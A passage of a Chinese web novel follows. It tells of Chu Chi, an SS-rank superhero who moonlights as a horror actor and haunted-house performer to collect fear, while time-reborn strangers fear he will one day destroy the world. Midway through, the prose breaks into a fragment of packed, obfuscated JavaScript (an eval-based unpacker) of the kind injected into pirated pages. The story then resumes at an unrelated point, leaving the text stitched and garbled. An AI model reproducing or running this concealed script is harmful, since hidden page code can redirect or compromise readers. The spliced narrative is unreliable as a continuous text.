《未来的我一定是好人吧》 1. 刚出场的楚 杀青宴选在正午,太阳晒得人发昏。 剧组订了家老字号,空调呼呼吹,酒却越喝越燥。 楚池坐在靠门的位置玩手机,门缝漏进来的热浪烤得他后背发烫,空调跟摆设似的。 副导已经喝得满脸通红,大老远就看到缩在角落里的年轻人,于是晃悠着朝对方走去,一把勾住他肩膀,嗓门大得外面路过的人都能听见。 “小楚啊,”副导喷着酒气,习惯性摸着啤酒肚,“真不考虑换换路子?我跟你说,我这有资源。都市霸总、校园男神、仙侠师尊,哪个不比恐怖片杀人魔和怨灵强?你这些年演的那些角色,不是毁容就是戴面具挡脸的,现在去问问你家粉丝,都没几个人能说出你具体长啥样!” 他凑得更近,盯着面前年轻人极为出众的相貌,心里是越来越可惜,不由再劝道:“你说说你死磕恐怖片图什么?图血腥暴力被下架,还是图圈子小连粉丝都集不满一个群?” 楚池从手机上抬眼,镜片后的眼睛弯了弯,露出人畜无害的笑容,琥珀色的瞳孔在光线下显得格外清澈。 他举杯碰了下副导的杯子,好脾气地解释:“林导,不是我不想演,主要是以前我也试过爱情片,但所有人都说我演的像个刚从坟墓里爬出来的僵尸。” “那是他们不懂欣赏。”副导使劲拍他后背,自信道:“你这脸往镜头前一站,不说大红大火,来个小粉红也是稳的,实在不行,综艺那边也不错啊。” 副导是个好人,经常绞尽脑汁给来自己剧组里当各种反派的年轻人找更好的路子。 奈何楚池是真不需要,他演恐怖角色都是有原因的。 “不了不了,”楚池无奈地连连摆手,随即注意到手机又响起电话铃声,急忙起身,不好意思地说:“抱歉林导,朋友来接,已经催了好几次,我得先走了。” 副导还想拦,楚池已经装作喝醉歪歪斜斜往外挪,差点被门槛绊倒。服务生赶紧扶住,他含糊道谢,脚步虚浮地晃出门。 烈日当头,街道两头都是知了的叫声,来往的路人不多,这里是条很偏僻的小路。 楚池眯了眯眼,慢悠悠拐进巷子。 转过墙角,他瞬间站直,醉态全无。 眼镜一摘,腰板一挺,碎刘海一掀,容貌稍稍变换,懒散的步子立刻变得利落。 他掏出手机扫了眼,回拨电话,嘴角一扬,大步往前走。 身后远远传来副导的喊声—— “你再想想!” 楚池头也不回地摆了摆手,随后单手插兜,手机贴在耳边,在听到对面接通电话,响起呼吸声的第一时间便笑出了声。 “还笑还笑!你人呢?”电话那头炸开女高音,“楚池!你还记不记得今天是我们队拍宣传的时间?我们人都到了,你死哪去了——” 背景里传来隐约的爆炸声,夹杂着几声刺耳的尖叫,像是在什么灾难现场。 “哎呀,急什么,马上到,不是一点才开始吗?现在才十二点半。”楚池拖着长音,语调懒洋洋的,和杀青宴上那个温和安静的他判若两人,带着股不着调的气质,“三分钟,最多三分钟,信我。” 电话那头沉默了两秒,随即爆发出更高的分贝:“楚池!你现在还在老城区,离这儿二十多公里!三分钟?你飞过来啊?!” 楚池没忍住回嘴:“我还可以瞬移过来。等会,你怎么知道我位置……宗保,宗保!收收你的控制欲,我知道你在窃听这里的对话!” 那个女高音话锋一转,带着股无事发生的口吻:“哦对了,沈队不在,宗保在总部休息室,你回头记得谴责他们一下。” 楚池:“?” 他说:“不是,我不在你气呼呼狂打我十几个电话,他们俩个不在你就没什么表示?” 女音的语速加快:“沈队忙,宗保走两步就喘能要求他做些什么,总之你速来,那几头异种已经孵化了,还是提早开始……啧,有路人开直播了我不能跟你通电话了,那边的混蛋都笑起来不准行为暴力和说脏话听到没!” 嘟嘟,电话挂断。 “……啊?等等,已经开始了吗?” 楚池震惊,说好的一点准时杀怪呢? 他开始琢磨自己是飞过去还是瞬移过去,两者相差不大,前者飞到一半可能会被地面巡逻队扯着嗓子喊“禁止城市上空飞行”,而后者会被某个神经敏感的队友追着打。 这时,小巷口突然响起一声惊呼。 一个扎马尾的女生正瞪大眼睛,拿着的手机显示一个直播画面,她看看手机里的直播,又看看巷子里的楚池,声音开始下意识拔高: “楚哥!你、你不是在……” “……唔。”楚池从嗓子里发出一声含糊的咕哝,接着眨眼就贴到她身侧,浑身上下没有丝毫刚从杀青宴离开的气息,只有满身被阳光晒过的暖意。 他熟练地露出笑容,带着一丝恰到好处的热情,“我刚偷溜出来吃饭,现在正准备赶场过去呢。不过说实话,明明是夏姐他们提早了时间,所以我才迟到的。” 女生情绪有些亢奋,又有些紧张,语无伦次道:“没事虽然直播已经开了但沈队肯定会劝架的反正可以咻得一下飞过去……” 楚池笑了笑,心想自己飞过去大概率会被中途打下来,然后被沈队盯着写检讨。 他歪头看向女生的手机,直播镜头所显示的画面里烟尘滚滚,隐约可见几头庞然大物在蠕动,而不远处的地面,正站着一排穿着白衣制服的熟悉身影。 楚池意识到这几头异种就是今天零队的任务目标,作为拍宣传视频用,要战斗帅气,要打得足够漂亮,于是他想了想,突然抬手,手指点在屏幕右侧:“看这只,够凶吧?” 女生下意识点头。 “那么现在——”楚池的声音轻飘飘落下,“它已经死了。” 话音未落,直播画面里那颗布满鳞片的头颅突然飞起,血雾喷溅三米高。正要挥刀的白风衣女子僵在半空,制服纤尘不染,脸色却黑如锅底。 弹幕瞬间爆炸: 【噢噢噢!是楚哥的“神奇技能第一式:千里之外”!】 【笑死,夏姐表情管理失败】 【大白抢怪现场.jpg】 【零队宣传片又缺人!沈队呢!宗保呢!连大白都不在可恶——】 【大白?楚哥吗?】 【楚池官方代号“白灾”,据说是青春期十五六岁时想的代号,几年前希望我们喊他代号,因为很帅。但近些年中二病过了,楚哥想改代号但改不了,就希望我们粉丝现实里喊他全名,网络上只要别喊白灾其他的都行(笑死)。】 【好的白灾,你好白灾】 【话说,这个宣传视频的作用是……零队要招新?!兴奋起来了!我是A级有生之年应该能到S,也不知道有没有机会,编外人员也行啊(阴暗爬行)】 【零队还是跟以前没什么变化,很好,安全感满满嘿嘿】 …… 楚池假装没看到弹幕里疯狂闪现的某代号,他杀了一头异种表现一下存在感后,满意地觉得自己已经完成了任务。 他退后两步,朝女生眨眨眼:“记得别说出去我在这里,不然我会挨骂挨揍的。” 说完身影一晃,巷子里只剩几片打着旋儿的落叶。 女生望着空荡荡的巷子,后知后觉才有了真实感,快速给好闺蜜打去电话,兴奋地大叫:“我的天你知不知道我遇到了谁!该死的我居然忘记要签名和拍照了啊啊啊啊——” * “咕噜咕噜……” 瓶装汽水还在冒着细密的气泡,水珠顺着瓶壁缓缓下落。 楚池随手把喝了一半的汽水搁在长椅上,眯起眼看向前方。 街道被烈日晒得扭曲,水泥地面蒸腾起一层晃动的热浪,连远处的建筑轮廓都跟着微微变形。 他懒洋洋地坐在公交站台的长椅上,指尖有一下没一下地戳着汽水瓶,百无聊赖地等车。 本来是该去和队友汇合的,但战斗宣传视频的拍摄八成早就结束了,那种等级的异种再怎么拖长时间也保准在五分钟内结束,尤其是零队大部分成员都在。 所以战斗都结束了再晃悠过去,怕不是要搞成混战,这天都那么热了就放过他吧……话说,反正他也远程参与了一把,所以现在不过去也可以吧? 以防万一,还是溜去总部 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与那些受地域限制的普通异能者不同,他们的足迹遍布全国乃至全球,除了专门猎杀那些最危险的高危生物外,偶尔还要处理一些神秘的特殊事件——当然,某些时候还要进行一些官方宣传,就比如先前的团体战斗素材拍摄。 楚池就是零队的成员之一。 他的异能评级是SS级,代号【白灾】,觉醒的是一种非常强大的特殊能力。表面来看就像个抽卡游戏,只要收集他人的恐惧值,就能随机获得某种能力。 飞行、瞬移、容貌轻微改变,包括几分钟前在巷子里展现的远程杀敌手段,都是这么来的。 ……这也是他为什么兼职恐怖片演员的原因,要以合法的方式获取更多的恐惧值,当反派演员是个好主意。但又不能太火,不然还是会被人发现容貌和零队的“楚池”有几分相像,那会非常麻烦。 此外,楚池填写异能表格时隐瞒了最关键的部分——这些能力全都来自“未来的自己”。 每次发动异能时,他都能隐隐约约感受到那些尚未发生的时间线上,自己究竟掌握了多少可怕的力量。 因此在外人面前,楚池永远只说这是简单的“恐惧值抽卡”,绝口不提那些在时间长河中若隐若现的、另一个自己的影子。 ……所以说,未来的自己为什么会拥有那么多可怕而危险的能力啊? 楚池深深叹气,又喝了一口汽水。 十几分钟后,公交车缓缓进站,车门“哧”地一声打开。 楚池随手刷了卡,迈进车厢的瞬间就被空调冷风迎面糊了一脸。 他舒服地眯起眼,整个人肉眼可见地精神了几分。 当看到车顶悬挂的小电视正在循环播放零队的战斗集锦时,他嘴角更是控制不住地上扬。 虽然那个未来的自己怎么看都不太正常,但至少现在—— 一切安好。 他永远相信未来是把握在自己手里的。 车窗边的三个乘客突然起身,一边喊着“师傅等等”,一边慌慌张张地从楚池身边挤过。 楚池坐在车厢稍后的位置,偏头望去,透过车窗只能瞥见那三个匆忙下车的身影——晃动的发顶,偶然对上又迅速躲闪的视线,隐约似乎听见他们提到了自己的名字。 嗯,应该认出他了吧。 大概是些腼腆的粉丝。 他好心情地想着,很快就把那三个路人抛到脑后,注意力全落在了街对面被巡逻队扣下来的飞行类异能者,此时那几人正垂着脑袋挨批。 看,这就是他不敢光明正大在天上飞的原因。 因为就算这些巡逻队偶尔会对他睁一只眼闭一只眼,但沈队绝对不会放过他。 楚池深沉地想。 公交车缓缓启动。 引擎的轰鸣声吞没了外界所有声响。 包括刚从公交车上下来,正从车旁匆匆走过的,与楚池仅隔着一面车窗的那三人压得极低的、颤抖的对话—— “是楚池……那个会在未来毁灭世界的天灾……” “他看见我们的脸了……” 2. 在兼职的楚 楚池插着兜站在总部大楼前,仰头望着这座高耸入云的钢铁巨兽。 玻璃幕墙反射着刺眼的阳光,整栋建筑像一把利剑直插云霄——办公区、住宅区、训练场、甚至还有个小型停机坪,全塞在这栋楼里。 楚池有时候会想,这栋明晃晃杵在那儿当活靶子的建筑,被攻破的几率究竟有多大。 ——零。 起码到目前为止,大大小小的袭击少说也有几十次,可最惨烈的战果不过是碎了几块玻璃。 ……还是楚池和敌人打得太嗨弄碎的,最后被沈队压着脖子打扫完的卫生。 想到这,楚池不由叉腰叹气,好吧,他承认,是他的错,高估了敌方的实力,一时没收住手,差点毁了自己家。 是的,“家”。 整个零队全住在这栋楼里,中下层分布着其他部门的办公区和休息室,而高层则成了零队专属的集生活办公一体化的区域。 没有下班,就不算上班。 楚池不止一次这样安慰自己。 他推开一楼的旋转门,冷气扑面而来。 大厅里人来人往,电子屏滚动播放着今日任务简报,涵盖本市所有未解决的危机任务、潜在威胁,以及异能者的任务动态。 楚池没多看,径直走向电梯,顺手在零队的加密聊天室发消息。 【三也:夏姐他们回来了没?沈队在哪?】 消息刚发出去,宗保的头像就跳了出来——一个背景全黑的像素版“X”红色字母,附带一行字: 【默客:沈队在32楼。另外,夏禾玉他们的直升机还有十分钟到楼顶,建议你跑快点,她气炸了,托我问你是不是又装死。】 楚池嘴角一抽,手指飞快敲字: 【三也:显而易见,我是的。阿默快去帮我说说好话(合十)】 【默客:昨天是谁偷吃了我放在冰箱里的芒果千层:(】 楚池倒吸一口凉气,心想他不是拆了厨房的监控器吗? 随即猛戳电梯按钮。 住在三十多楼的坏处就体现出来了,电梯下来的非常慢,楚池左右看看四周,对着墙角的监控摄像头比了一个嘘的手势,然后咻得一下消失在原地。 而此时的电梯才刚刚显示到27楼。 监控室里的几人面面相觑,然后统一假装刚刚什么也没看到。 32楼,零队休息区外的走廊。 空荡的走廊毫无预兆地浮现出楚池的身影。 他刻意伪装成乘电梯上来的模样,来回踱了两步,随后推开休息区的门——浓郁的咖啡香气扑面而来。 休息区呈开放式布局,左侧是整面落地窗,俯瞰城市全景;右侧则是凌乱的沙发区,抱枕歪斜,瓜子壳散落一地。中间的吧台上,文件堆叠、笔记本电脑半开,几只未洗的咖啡杯残留着深褐色的痕迹。 一个男人正倚在吧台边,一身简约的白衬衫黑长裤,衬得身形格外修长。 沈队,沈无惑,异常执行部副部长,执法官首席,零队队长,S级异能者,拥有集探查、免疫、封印一切特殊力量为一体的特殊能力,代号【灰枢】。此外,格斗,冷兵器,枪械,战略,文书等等全都精通,堪称全能的卷王型选手。 此时这人左手捏着份报告,右手端着杯咖啡,眉头微蹙,显然这份报告的提交者该有麻烦了。 楚池熟悉沈无惑,知道他虽然此时皱着眉,但实际心情也还行,于是探头探脑地扫视一圈,确认休息区就他们俩后,立刻没正形地蹭过去:“哥!你亲爱的队员回来啦!” 自从成年后,他就嫌太肉麻,没怎么喊过“哥”了——当然,某些时候除外。 沈无惑连眼皮都懒得抬,熟练地直接戳破某人小心思:“别做梦,我不会帮你挡夏禾玉。” “我真不是故意惹她的,就是不小心忘了。我跟宣传部打过招呼,说可能赶不到现场,但会远程参与——你看,我不还宰了头怪吗?” 楚池从吧台角落的水果盘里摸了个小橘子,剥完皮,鬼鬼祟祟地推到沈无惑手边,讨好地笑。 沈无惑叹了口气,放下手里的文件,抬眼看楚池。他的眼睛很漂亮,但不笑的时候就显得格外冷峻。 “我认为她会生气的点不在于这方面。” “夏禾玉知道今天中午是你那部戏的杀青宴,很可能会被拖住迟到,所以她走的时候把你的制服和武器包也带上了。乐栖念叨着附近有一家很不错的甜品店,希望结束任务后能和大家一起去吃下午茶,但现在夏禾玉正拽着所有人往这里赶,她的下午茶泡汤了。你不该把他们扔在那,像耍小性子那样独自跑回了总部,我们是一个团体。” 楚池垂下脑袋,一副委屈巴巴的样子,但紧接着就听到沈无惑又说: “但这事夏禾玉确实处理得欠妥。拍摄组明确写着下午一点,你也确实打算从杀青宴提前离席赶过去——按原计划本该来得及。可偏偏那几头异种提前现身,加上现场有路人开了直播,各种意外堆在一起,夏禾玉没能控制住现场,擅自改了方案决定提前击杀。拍摄组也跟着手忙脚乱地开工,结果把你给落下了。” “她那个急性子……明明可以先压制住等你会合,这对他们来说根本不是难事。” 沈无惑微微皱起眉,喝了一口咖啡,没有去看眼睛亮晶晶的楚池,像念死亡名单般又报出一个名字,“还有宗保。” 放在桌面的手机震动一声,黑底红字的“X”头像上线。 【默客:这里还有我事啊?(ō_ō)】 沈无惑叹道:“宗保,你全程在线,监控全场,什么都清楚。在楚池远程击杀那头异种后,你本可以提醒他赶去片场。那时夏禾玉他们还在消灭其他异种,集体合照完全来得及。但你并没有,你放任了一切事情的发生。你甚至都没有去现场参与,没有战斗力并不是你不去拍集体合照的理由。” 沈无惑意识到语气有点加重,于是迅速缓和下来,“但这只是一次小小的矛盾,我希望你们等会能说开,然后重归于好。” 【默客:嘤,对不起,我错了。】 沈无惑刚端起咖啡,楚池眼疾手快一把抢走,声音雀跃地飘过来:“我帮你重泡一杯!” 他往咖啡机的方向跑去,压低的声音渐渐飘回来:“哈!夏禾玉也有错!还有宗保!哈!我的错误只占三分之一!哈哈哈!” 沈无惑:“……” 他说那么多只是想让你们不要吵架! 沈无惑的手指重重压在桌板上,深呼吸一会后,重新冷静下来。 “此外,这次我也犯了点错误。下次再有集体拍摄活动,我会记得把工作也带过去的。” 他平静说完,没有去看因为惊吓差点把自己绊倒的楚池,招了招手,顺手从文件堆里抽出一份标着“机密”的报告,往桌对面一推,说起了正事,“既然你的戏拍完,那么月底跟我去趟西南龙头窟。” 说起正事,楚池认真起来,他把咖啡杯往咖啡机旁一放,折返凑近,目光落在那份文件上——鲜红的“S~???”评级刺目地印在首页。 “问号?分析组那边还没得出准确的评级吗?”他皱起了眉。 “嗯,能量波动太乱了。”沈无惑的指尖在文件边缘轻敲,“分析组组长说监测曲线上下波动很剧烈,但最低阈值已经突破S级。” 所谓孵化期,是指那些异种降临前散发的能量波动。依靠覆盖全国的“谛听”系统,异常波动总能在第一时间被捕捉。通常24小时内,分析组就能绘制出完整的能量谱系,给出精确的危险评级,再派发给附近战力匹配的异能者小队。 但偶尔,会出现像今天这样的例外,无法评估的危险曲线,无法确定的降临时间,除了一个低概率的“S级”危险等级外,什么也不清楚。 楚池盯着那串问号,无意识地舔了舔嘴唇,“就我们两个?再带个人吧,我看其他人也挺闲的。” 沈无惑摇头,掏出另一份文件,首页依旧标着鲜红的“S”等级。 “一头同样会在这个月底出现在海面上的异常生物,夏禾玉他们会去处理,所以赶不上龙头窟。”沈无惑说到这,看眼楚池,“如果你不晕海了……” 楚池疯狂摇头,立刻表态:“我去龙头窟!” 沈无惑点头,“可以。” 楚池突然想起咖啡还没泡,转身就要冲过去,身后却慢悠悠飘来一句: “你最近还在网上跟人吵架吗?” “啊?”楚池怔了半秒,才想起自己以前确实爱跟黑零队的网友互喷,“没有,最近连论坛都没怎么上。” 沈无惑笑了一下:“很好。” 楚池缓缓打出一个问号。 刚要追问,落地窗外突然传来螺旋桨的轰鸣。 一架黑色直升机正朝着总部大楼逼近。 楚池慌了一下,但很快理直气壮起来,毕竟连沈无惑都说夏禾玉也有三分之一……现在是四分之一的错误,“我会和他们pk。” 沈无惑淡定从旁边拿起矿泉水,转开瓶口,“不要吵架。” 楚池一个箭步蹿到沈无惑身边,抓起份文件装模作样地翻起来,假装自己很忙碌,但压不下去的嘴角显然暴露了他的真实情绪。 但是,他似乎忘记了某人的咖啡。 沈无惑无奈地喝了口矿泉水。 而在楚池不知道的地方,某个论坛首页出现了一条新帖。 【细思极恐!关于某SS级异能者那些不为人知的秘密……】 三秒还未过去,这条帖子神秘消失。 …… …… 【“默客”已上线。】 【很抱歉,因传播不良信息, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“往好处想,起码今天虽然在公交车里撞上了楚池,但他似乎没把我们放心上,只以为我们是普通的路人。” 小辫男双眼无神地喃喃自语:“所以这个时候,那个楚池表面上还是站在正方、普通人这边的,对吗?” 空调的嗡鸣声突然变得刺耳,瘦高青年盯着自己颤抖的指尖,眼镜女生把脸埋进掌心,小辫男则死死咬住下唇——直到尝到铁锈味才猛然惊醒。 “可我们都见过未来的惨状,那些地狱一样的场景……等等,既然从外部行不通,那从内部攻破呢?” 小辫男突然想起什么,急匆匆打开论坛后台消息界面,语速很快,“三天前有人给我发了条消息,说他认识监察部的人。当时我以为是我们在网上不停发的消息引起了楚池粉丝的注意,以为是来威胁我们的。但现在想想,好像也有另一种含义……这个监察部,或许是指能监察异能组织的机构?” 他紧张地回了一条消息。 【你是谁?】 很快,对面回复道:【当面聊,今晚六点三十分。】 对面发来一个地址。 眼镜女生凑近,一字一句念出地址:“环南路西街356号?” 瘦高青年面无表情地在网上搜索这个地址,很快脸上微微一僵,“查到了,这个地址是一家大型鬼屋,今晚六点首次营业,主题是……【末日天灾】。” 三人面面相觑。 小辫男迟疑:“去吗?” 眼镜女生咬牙点头,“去!” * “晚上的风还怪凉快的。” 楚池懒洋洋地伸了个懒腰,晚霞将他的影子拉得老长。 在沈队的劝架下,他成功与夏禾玉和宗保打成平手,并且再次顺利争取到了晚上兼职的机会。 ——鬼屋npc扮演兼职工! ——他演刚死不久的尸体。 又是一次酣畅淋漓的赚恐惧值的经历呢。 楚池一边这么想着,一边慢悠悠地晃进某栋改建成鬼屋的废弃厂房的员工通道,迎面就是一片兵荒马乱的景象。 “你就是来兼职的小楚吧?快快快!”一个满脸“鲜血”的僵尸小哥一把拽住他,“马上就要开场了!卧-槽你这颜值……” “僵尸小哥”突然卡壳,盯着楚池看了三秒,“兄弟,你确定你会吓人?” 楚池推了推鼻梁上的黑框眼镜,碎发下的眼睛弯成温柔的弧度。 他身后,贴在墙壁的“末日天灾”四个血淋淋的大字在灯光下格外显眼。 “放心。” 他笑了笑,意味深长道: “论吓人,我可有天赋了。” 3. 在灭鼠的楚 夜色渐渐降临。 穿着格子衫看起来颇有文艺感的小辫男盯着眼前这座阴森森的鬼屋建筑,脸色越发苍白,不自觉地咽了咽口水,看起来整个人几乎要晕过去了。 鬼屋是由一家废弃工厂改建而成,再经过一系列装饰,此时破破烂烂的外墙上爬满藤蔓,血淋淋的手掌印遍地都是,而入口处扭曲的铁栅栏在风中发出“吱呀”声响,像极了一张咧开的血盆大口。 幸好,周围排队游客的嬉笑声冲淡了些许恐怖氛围。 他掏出手机,手指微微发抖地在论坛后台发出消息: 【我们到了,你在哪?】 身旁的眼镜女生推了推镜框,警惕地环顾四周。 这家网红鬼屋选址很妙,虽然靠近市中心,但周围都是工厂,既方便引流又足够隐蔽。 外面的停车场里停满了车,甚至外边的街道上还不断有路人走近,看来网上的营销做得不错。 “……我靠。”小辫男突然压低声音惊叫。 眼镜女生连忙凑过去,只见屏幕上跳出一条新消息: 【进鬼屋,我在这里等你们。】 附带的地图上,某个房间被鲜红的圆圈标记出来,表明了这就是目的地。 “所以……”小辫男声音发颤,“我们真要进去?” 夜风打着卷吹过,鬼屋入口的灯牌“滋滋”闪烁两下,忽明忽暗的冷光映照在三张苍白的脸上。 队伍缓缓向前移动,估摸着再等半小时就能轮到他们入场了。 “来都来了……”旁边的瘦高青年盯着手里的门票,声音逐渐发虚,“票都买了……” 眼镜女生镇定道:“我们都经历过真正的末日,这种人造的鬼屋有什么好怕的?” 话音刚落,她就听到身后传来牙齿打架的“咯咯”声。 转头一看—— 瘦高青年满脸嫌弃,而小辫男正瑟瑟发抖地抱住他,活像一只被雨淋湿的鹌鹑。 眼镜女生:“……” 她面无表情地翻了个白眼。 * “啊啊啊救命啊——!!!” 一对小情侣的尖叫声几乎掀翻屋顶,女生拽着男生的袖子就疯狂冲向隐藏通道的尽头,男生差点被绊倒好几次。 昏暗的红色灯光下,满脸裂缝妆容的楚池慢悠悠关闭隐藏通道,重新坐回他那堆“残肢断臂”中间,顺手把被撞歪的塑料肠子摆回原位。 他美滋滋地数着刚才收获的恐惧值——虽然没有具体显示的数额,但粗略感受一下,距离抽取下一个技能、异能力也就这几天了。 “鬼屋兼职就是来钱快。”楚池托着下巴思考。 他的目光不经意间扫过墙壁上斑驳的图案,突然想起之前在化妆间听工作人员闲聊时提到的主题设定。 《末日天灾》——讲述一位正义的英雄因故堕落,化身灭世魔王的故事。玩家们需要穿过他制造的怪物巢穴,探寻黑化真相,最终选择毁灭或是救赎这位曾经的英雄。 这个设定在楚池脑子里一闪而过,只留下了很浅淡的痕迹。 “哒、哒、哒……” 急促而慌乱的脚步声由远及近,在昏暗阴森的空气里回荡。 新一批玩家正在靠近。 楚池懒洋洋地往后一倒,整个人陷进那堆“残肢断臂”中。塑料内脏恰到好处地搭在他胸前,一颗玻璃眼珠不偏不倚地卡在他领口,活脱脱一个被开膛破肚的“尸体”。 他决定等会从“尸体堆”里偷偷伸出手去抓玩家的脚腕来吓人。 那是一支五人小队,慌慌张张地冲进房间,却被死胡同困住了。 “靠!是条死路!”领头的壮汉骂骂咧咧地踹了脚墙壁,“肯定有隐藏通道……这鬼屋道具做得也太他/妈真了!” 其余几人已经开始迅速地摸索墙壁,其中一个女生甚至试图去搬动那堆“尸体”。 楚池赶紧把露在外面的胳膊又往里缩了缩,接着注意到这五人的情绪似乎有些过于强烈,看起来刚刚经历过某种恐怖的景象。 就在他犹豫着“再吓下去会不会真把人吓晕”的时候—— “沙沙……沙沙……” 诡异的声响从走廊传来。 黑暗中,突然亮起一对猩红的眼睛。 接着是第二对、第三对……密密麻麻的红点在漆黑中移动,像是无数双饥渴的眼睛,在暗处贪婪地窥视着猎物。 当那些东西终于爬进昏暗的灯光下时,楚池看清了——那是几十只被剥了皮的畸形老鼠,干瘪的躯体上布满垂落的肉条,滴着黏液在地上拖出长长的痕迹。 “啊啊啊——!!!” 尖叫声几乎掀翻屋顶。 那五个玩家瞬间缩成团挤在墙角,有个男生已经带着哭腔喊:“工作人员呢?!我退出!这玩意儿太过分了!谁家鬼屋搞这么写实逼真的啊!呕……” 楚池:“……” 他盯着那群畸形老鼠,发现了问题,慢吞吞从“残肢”中爬起来,引得那五人组又是一阵鬼哭狼嚎。 “C……不对,B级的异常生物?”楚池困惑地嘀咕,“谛听系统没有将这里的任务派发给附近的异能者队伍吗?” 他突然意识到有古怪,感知力如潮水般瞬间覆盖整个鬼屋,随即眉头一皱:“啊哦……” 他小声嘀咕着,语气里带着几分无奈:“不是吧,我这个身份可是普通人。” 感知范围中,数以万计的畸形老鼠在鬼屋各处窸窣移动,而更令人不安的是,地下深处还潜伏着一个巨大的鼠类巢穴,像颗定时炸/弹般蛰伏着。 藏在口袋的手机忽然震动起来。 【“默客”已上线】 【默客:查过了,谛听系统显示这个地点的异种在半个月前就被处理了。但显然,执行任务的队伍漏掉了地下巢穴。】 楚池:“……” 他思考了一秒宗保是不是在实时盯着他,而后选择放弃这显而易见的事实,继续打字回复:【所以,负责调查后续的清洁小组也没发现地下的巢穴?】 【默客:是的。】 【默客:我重新发布任务,你接一下。顺便,你的妆容很别致(比大拇指)】 楚池翻了个白眼。 下一秒, 手机屏幕上猛得跳出刺目的红色警示:【谛听系统:警告!警告!环南路西街356号检测到B级能量波动,活跃度极高,鼠类异种已进入降临阶段。请附近B级以上异能者立即支援。注意,该地人群密集,请普通群众立即远离!】 紧接着第二条消息紧随其后:【谛听系统:已检测到SS级异能者“白灾”当前位于环南路西街356号,且无其他任务在身,是否确认接取?】 楚池还没点那个“确认”,系统显示自动接取,并迅速发来了一份的“鼠类异种情报汇总”。 他想都不用想,就知道是宗保,也就是那个代号为“默客”的家伙干的。 很快,他的接取信息瞬间刷爆了附近所有辖区异能者的手机。 那些在附近街道上散步消食的、窝在沙发追剧的、大排档撸串的异能者们,手机屏幕同时亮起刺目的红光。 从显示附近有B级异种的任务消息,再到“白灾”已接取该任务的提示消息,全程不过两秒。 而后,此起彼伏的惊呼声响彻夜空: “卧-槽!谁?我看到了谁?!白灾!楚哥居然在附近?!” “等等……这个地址好像是鬼屋?楚哥也喜欢玩鬼屋!卧-槽我冲了——” “家人们我要去围观了!” “好耶我就在现场!也不知道能不能要个签名……草,救援队来的那么快吗?我也是异能者应该不至于被疏散……吧?” “不是哥,我也是救援队的,虽然现在休假,但是……让我进去——” …… 楚池不用听外面的动静就知道,很快这里就会被闻讯赶来的异能者们围得水泄不通,到时候各种麻烦事肯定接踵而至。 “速战速决,赶紧搞定,然后开溜。” 说着,楚池无奈地抓了抓头发,随手摘下那副土掉渣的黑框眼镜。 角落里瑟瑟发抖的五人组齐刷刷地瞪大眼睛,不敢置信地看向楚池。 楚池脸上还带着逼真的裂缝妆容,看起来依旧像是一个惨死然后被人拼起来的“尸体”,让他们一时不敢确认。 但下一秒,楚池以一种毫不掩饰的态度默认了他们的猜想。 他用原来的相貌转向那五人组,竖起食指抵在唇边,露出一个安抚的微笑:“放轻松,马上就好 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它们像是被活剥了皮、抽干了血的畸形老鼠,密密麻麻地蠕动着,光是看一眼就让人浑身发麻。 现在,他们被这群诡异的老鼠困在了一间昏暗的屋子里,唯一的出口被黑压压的鼠群堵得严严实实。 房间里除了他们三人外,还有一个鬼屋的工作人员。 “咚咚咚!” 门板在鼠群的疯狂撞击下发出不堪重负的呻吟,木屑簌簌掉落,蛛网般的裂纹迅速蔓延。虽然门后抵着各种废弃桌椅,但显然撑不过几轮冲击。 工作人员不算很熟练地缩在墙角,抱膝开始看手机:“安全手册里说被异种困在封闭环境里的情况,是哪一页来着……” 另一边,三位重生者已经准备好了防御。眼镜女生反握着折断的椅腿,小辫男拎着锈迹斑斑的钢管,瘦高青年甚至拆了块锋利的镜片。 虽然都是随手捡的破烂,但握武器的手稳得出奇。 “你们觉得这会是陷阱吗?”那个眼镜女生冷不丁问。 另外两人没有出声。 是的,太像了。 故意将他们引到鬼屋但始终未露面的神秘人,突然爆发的“死鼠群”——这一切简直就像一场精心策划的灭口行动,要除掉他们这些知晓未来、可能对楚池不利的“反抗者”。 “……所以,其实我们什么也没做到。” 扎着小辫的男生突然一拳砸在墙上,指节泛白,声音压得极低,几乎堪称咬牙切齿:“明明知道那么多情报,明明能改变那么多事……结果要莫名其妙死在这种地方——” 瘦高青年干巴巴地安慰道:“往好处想,至少我们不用再经历一次那个地狱了。” 小辫男:“……”安慰的好,下次别安慰了。 “砰!” 眼镜女生直接就冲着两人的后背重重一拍。 “都给我振作点!”她压低声音呵斥,眼底同样带有恐惧,但说出的话却稳得不可思议,“这些老鼠在现在这个时间点只是B级威胁。而从已有的情报来看,现在的官方反应速度很快,有丰富的应对措施。我们已经把门堵住,再加上我们的经验,足够活着等到救援。对了,那边的!” 她转头看向角落,“不想死就过来帮忙!” 然而, 缩在墙角的工作人员头也不抬:“行行好,我连官方每周建议的最低一千米都没坚持下来,要我和异种战斗完全是不可能的。” 他握着手机不停翻找该场景下自救的那几页,其中与异种战斗属于偏底下的那几条——尤其是对毫无战斗能力的普通人而言。 突然“叮咚”的提示音响起,意识到异种消灭任务已被接取,他如释重负般松懈下来,随即才猛得注意到接取任务者的代号,那一瞬间眼睛猛得睁大。 “我靠!没事了没事了!”他晃着手机,连安全手册都不想继续翻了,脸上是掩不住的兴奋,“系统显示【白灾】正在处理这里的异种!楚池就在鬼屋里!天,我想要他的签名!据说这东西市场价万起步!” 他的声音因为激动而微微发颤,完全没注意到—— 前方三人瞬间血色尽失的脸。 4. 危险的未来楚 瘦高青年……也就是杜安歌,他其实见过楚池。 不是现在这个被人人称赞、网上视频多得像是各大版块顶流、看起来友善热情得甚至有点傻气的三好青年,而是未来那个被无数人恐惧忌惮、眨眼间摧毁无数城市的“灭世者”。 记忆中的世界早已支离破碎。 暗红色的天空下,曾经繁华的都市早已化作一片片废墟,每一处的空气里都弥漫着腐烂的腥臭味,森林沙漠海洋等区域全部被异常生物占据,连天空都盘旋着数不清的怪物。它们密密麻麻,成群结队地活动,仿佛将整个世界掌控。 